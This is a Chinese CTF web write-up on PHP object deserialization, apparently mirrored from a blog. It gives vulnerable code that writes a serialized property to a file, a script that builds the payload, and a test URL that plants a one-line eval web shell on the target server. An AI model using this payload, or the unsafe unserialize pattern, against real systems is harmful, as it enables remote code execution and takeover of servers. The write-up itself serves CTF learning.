zoukankan      html  css  js  c++  java
  • 【CTF WEB】反序列化

    反序列化

    漏洞代码

    <?php 
    error_reporting(0); 
    if(empty($_GET['code'])) die(show_source(__FILE__)); 
    class example 
    { 
        var $var='123'; 
    
        function __destruct(){ 
            $fb = fopen('./php.php','w'); 
            fwrite($fb, $this->var); 
            fclose($fb); 
        } 
    } 
    
    $class = $_GET['code']; 
    $class_unser = unserialize($class); 
    unset($class_unser); 
    ?> 
    

    写一个php的脚本,执行得到一串序列化后字符串,生成的代码是不会在浏览器直接显示的,需要查看源码才能看到完整内容。

    <?php
    class example
    {
        var $var='<?php @eval($_POST[pass]);?>';//一句话木马
    }
    $a=new example();//顶替原来的example,从而执行destruct函数,所以名称还是要写成example
    echo serialize($a);//输出序列化后的结果
    ?>
    
    

    测试方法

    http://218.2.197.236:26225/?code=O:7:"example":1:{s:3:"var";s:31:"<?php @eval($_REQUEST[pass]);?>";}
    
  • 相关阅读:
    视频分解图片,图片合成视频
    获取图片中指定区域图片
    CALayer alpha mask not working
    多媒体编程ios摄像头图像抓取工具类
    10月17日
    10月16日
    10月15日
    10月14日
    10月13日
    10月12日
  • 原文地址:https://www.cnblogs.com/17bdw/p/9723387.html
Copyright © 2011-2022 走看看